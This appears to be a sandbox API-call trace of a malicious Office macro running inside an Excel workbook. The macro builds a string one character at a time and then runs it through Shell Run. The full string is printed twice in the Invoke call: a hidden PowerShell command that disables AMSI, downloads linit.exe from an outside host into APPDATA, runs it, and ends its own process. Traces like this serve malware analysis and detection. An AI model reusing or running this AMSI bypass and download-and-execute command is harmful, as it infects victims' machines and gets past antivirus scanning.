	[0077.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‘") returned 1
	[0077.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‘", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x91/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0077.308] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Au", bstrRight="t", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.308] VarBstrCat (in: bstrLeft="&H", bstrRight="8C", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="Œ") returned 1
	[0077.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Œ", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8c/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0077.308] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Aut", bstrRight="o", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.308] VarBstrCat (in: bstrLeft="&H", bstrRight="8A", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="Š") returned 1
	[0077.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Š", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8a/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0077.309] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Auto", bstrRight="m", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.309] VarBstrCat (in: bstrLeft="&H", bstrRight="7E", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="~") returned 1
	[0077.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="~", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="~/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0077.309] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Autom", bstrRight="a", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.309] VarBstrCat (in: bstrLeft="&H", bstrRight="91", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‘") returned 1
	[0077.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‘", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x91/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0077.309] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automa", bstrRight="t", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.309] VarBstrCat (in: bstrLeft="&H", bstrRight="86", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="†") returned 1
	[0077.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="†", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x86/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0077.309] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automat", bstrRight="i", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.309] VarBstrCat (in: bstrLeft="&H", bstrRight="8C", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.309] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automati", bstrRight="o", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.310] VarBstrCat (in: bstrLeft="&H", bstrRight="8B", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.310] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automatio", bstrRight="n", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.310] VarBstrCat (in: bstrLeft="&H", bstrRight="4B", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.310] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation", bstrRight=".", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.310] VarBstrCat (in: bstrLeft="&H", bstrRight="5E", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.310] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.", bstrRight="A", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.310] VarBstrCat (in: bstrLeft="&H", bstrRight="8A", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.310] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.A", bstrRight="m", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.310] VarBstrCat (in: bstrLeft="&H", bstrRight="90", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.310] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.Am", bstrRight="s", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.310] VarBstrCat (in: bstrLeft="&H", bstrRight="86", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.310] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.Ams", bstrRight="i", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.310] VarBstrCat (in: bstrLeft="&H", bstrRight="72", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.310] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.Amsi", bstrRight="U", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.310] VarBstrCat (in: bstrLeft="&H", bstrRight="91", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.310] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiU", bstrRight="t", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.310] VarBstrCat (in: bstrLeft="&H", bstrRight="86", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.310] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUt", bstrRight="i", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.310] VarBstrCat (in: bstrLeft="&H", bstrRight="89", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.311] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUti", bstrRight="l", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.311] VarBstrCat (in: bstrLeft="&H", bstrRight="90", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.311] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtil", bstrRight="s", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.311] VarBstrCat (in: bstrLeft="&H", bstrRight="44", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.311] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils", bstrRight="'", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.311] VarBstrCat (in: bstrLeft="&H", bstrRight="46", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.311] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils'", bstrRight=")", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.311] VarBstrCat (in: bstrLeft="&H", bstrRight="4B", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.311] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')", bstrRight=".", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.311] VarBstrCat (in: bstrLeft="&H", bstrRight="64", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.311] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').", bstrRight="G", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.311] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.311] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').G", bstrRight="e", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.311] VarBstrCat (in: bstrLeft="&H", bstrRight="91", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.311] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').Ge", bstrRight="t", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.311] VarBstrCat (in: bstrLeft="&H", bstrRight="63", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.311] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').Get", bstrRight="F", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.311] VarBstrCat (in: bstrLeft="&H", bstrRight="86", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.311] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetF", bstrRight="i", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.312] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.312] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetFi", bstrRight="e", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.312] VarBstrCat (in: bstrLeft="&H", bstrRight="89", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.312] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetFie", bstrRight="l", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.312] VarBstrCat (in: bstrLeft="&H", bstrRight="81", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.312] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetFiel", bstrRight="d", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.312] VarBstrCat (in: bstrLeft="&H", bstrRight="45", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.312] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField", bstrRight="(", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.312] VarBstrCat (in: bstrLeft="&H", bstrRight="44", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.312] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField(", bstrRight="'", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.312] VarBstrCat (in: bstrLeft="&H", bstrRight="7E", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.312] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('", bstrRight="a", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.312] VarBstrCat (in: bstrLeft="&H", bstrRight="8A", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.312] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('a", bstrRight="m", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.312] VarBstrCat (in: bstrLeft="&H", bstrRight="90", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.312] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('am", bstrRight="s", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.312] VarBstrCat (in: bstrLeft="&H", bstrRight="86", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.314] IDispatch:GetIDsOfNames (in: This=0x24fe58, riid=0x650612d0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x3cba68*="Run", cNames=0x1, lcid=0x409, rgDispId=0x3cba6c | out: rgDispId=0x3cba6c*=1000) returned 0x0
	[0077.319] IDispatch:Invoke (in: This=0x24fe58, dispIdMember=1000, riid=0x650612d0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x3cba40*(rgvarg=([0]=0x3cba74*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffff, varVal2=0x0), [1]=0x3cba84*(varType=0x2, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), [2]=0x3cba94*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);If (test-path  $env:APPDATA + '\\aap6.exe') {Remove-Item  $env:APPDATA + '\\aap6.exe'}; $OEKQD = New-Object System.Net.WebClient; $OEKQD.Headers['User-Agent'] = 'USR-KL'; $OEKQD.DownloadFile('http://3lionsfactory.ga/out/linit.exe', $env:APPDATA + '\\aap6.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\\aap6.exe'); Stop-Process -Id $Pid -Force", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x3cba20, puArgErr=0x3cba50 | out: pDispParams=0x3cba40*(rgvarg=([0]=0x3cba74*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffff, varVal2=0x0), [1]=0x3cba84*(varType=0x2, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), [2]=0x3cba94*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);If (test-path  $env:APPDATA + '\\aap6.exe') {Remove-Item  $env:APPDATA + '\\aap6.exe'}; $OEKQD = New-Object System.Net.WebClient; $OEKQD.Headers['User-Agent'] = 'USR-KL'; $OEKQD.DownloadFile('http://3lionsfactory.ga/out/linit.exe', $env:APPDATA + '\\aap6.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\\aap6.exe'); Stop-Process -Id $Pid -Force", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x3cba20*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x3cba50*=0x0) returned 0x0
	[0086.980] SetPropA (hWnd=0x20206, lpString=0xc145, hData=0x1) returned 1
	[0089.918] GetAsyncKeyState (vKey=27) returned 0
	[0089.943] SetPropA (hWnd=0x20206, lpString=0xc145, hData=0x1) returned 1
	[0093.015] GetAsyncKeyState (vKey=27) returned 0
	[0093.033] SetPropA (hWnd=0x20206, lpString=0xc145, hData=0x1) returned 1
	[0096.231] GetAsyncKeyState (vKey=27) returned 0
	[0096.245] SetPropA (hWnd=0x20206, lpString=0xc145, hData=0x1) returned 1
	[0099.208] GetAsyncKeyState (vKey=27) returned 0
	[0111.573] SetPropA (hWnd=0x20206, lpString=0xc145, hData=0x1) returned 1
	[0113.754] GetAsyncKeyState (vKey=27) returned 0
	[0113.754] IUnknown:Release (This=0x24fe58) returned 0x0
	[0114.607] GetAsyncKeyState (vKey=27) returned 0
	[0123.041] SetPropA (hWnd=0x20206, lpString=0xc145, hData=0x1) returned 1
	[0126.163] GetAsyncKeyState (vKey=27) returned 0
	[0135.278] SetPropA (hWnd=0x20206, lpString=0xc145, hData=0x1) returned 1
	[0141.939] GetAsyncKeyState (vKey=27) returned 0
	[0141.950] IsWindowVisible (hWnd=0x20206) returned 0
	[0142.415] lstrcpyA (in: lpString1=0x5c00e0d, lpString2="ThisWorkbook.NPL_IO" | out: lpString1="ThisWorkbook.NPL_IO") returned="ThisWorkbook.NPL_IO"
	[0142.417] lstrcpyA (in: lpString1=0x5c00e0d, lpString2="ThisWorkbook.NPL_IO" | out: lpString1="ThisWorkbook.NPL_IO") returned="ThisWorkbook.NPL_IO"
	[0142.435] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NPL_IO", cchWideChar=7, lpMultiByteStr=0x3c5da8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NPL_IO", lpUsedDefaultChar=0x0) returned 7
	[0142.480] CExposedDocFile::CreateStorage () returned 0x0
	[0142.481] CExposedStream::Seek () returned 0x0
	[0142.481] CExposedStream::Seek () returned 0x0
	[0142.481] CExposedStream::Seek () returned 0x0
	[0142.482] StringFromGUID2 (in: rguid=0x515a97c*(Data1=0x20819, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x3c796c, cchMax=39 | out: lpsz="{00020819-0000-0000-C000-000000000046}") returned 39
	[0142.482] CExposedStream::Seek () returned 0x0
	[0142.482] CExposedStream::Write () returned 0x0
	[0142.482] CExposedStream::Write () returned 0x0
	[0142.484] CExposedStream::Seek () returned 0x0
	[0142.484] CExposedStream::Seek () returned 0x0
	[0142.484] CExposedStream::Seek () returned 0x0
	[0142.492] CExposedStream::Seek () returned 0x0
	[0142.492] CExposedStream::Seek () returned 0x0
	[0142.493] CExposedStream::Write () returned 0x0
	[0142.493] CExposedStream::Write () returned 0x0
	[0142.493] CExposedStream::Seek () returned 0x0
	[0142.493] CExposedStream::Write () returned 0x0
	[0142.493] CExposedStream::Seek () returned 0x0
	[0142.493] CExposedStream::AddRef () returned 0x2
	[0142.493] CExposedStream::Write () returned 0x0
	[0142.493] CExposedStream::Seek () returned 0x0
	[0142.494] CExposedStream::Write () returned 0x0
	[0142.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13
	[0142.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x82f0c8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13
	[0142.495] StringFromGUID2 (in: rguid=0x515a97c*(Data1=0x20819, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x3c7904, cchMax=39 | out: lpsz="{00020819-0000-0000-C000-000000000046}") returned 39
	[0142.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0{00020819-0000-0000-C000-000000000046}", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40
	[0142.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0{00020819-0000-0000-C000-000000000046}", cchWideChar=40, lpMultiByteStr=0x4ef6338, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0{00020819-0000-0000-C000-000000000046}", lpUsedDefaultChar=0x0) returned 40
	[0142.503] CExposedStream::Write () returned 0x0
	[0142.503] CExposedStream::Commit () returned 0x0
	[0142.533] CExposedDocFile::CreateStream () returned 0x0
	[0142.533] CExposedStream::Write () returned 0x0
	[0142.533] CExposedStream::Write () returned 0x0
	[0142.533] CExposedStream::Commit () returned 0x0
	[0142.535] CExposedDocFile::CreateStream () returned 0x0
	[0142.535] CExposedStream::Write () returned 0x0
	[0142.535] CExposedStream::Commit () returned 0x0
	[0142.537] CExposedStream::Write () returned 0x0
	[0142.538] CExposedStream::Write () returned 0x0
	[0142.538] CExposedStream::Write () returned 0x0
	[0142.538] CExposedStream::Commit () returned 0x0
	[0142.540] CExposedDocFile::CreateStream () returned 0x0
	[0142.540] CExposedStream::Write () returned 0x0
	[0142.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6
	[0142.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=6, lpMultiByteStr=0x3c77e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole\x18\x05", lpUsedDefaultChar=0x0) returned 6
	[0142.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", cchWideChar=94, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 94
	[0142.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", cchWideChar=94, lpMultiByteStr=0x3c77fc, cbMultiByte=94, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", lpUsedDefaultChar=0x0) returned 94
	[0142.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6
	[0142.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=6, lpMultiByteStr=0x3c77e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 6
	[0142.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12
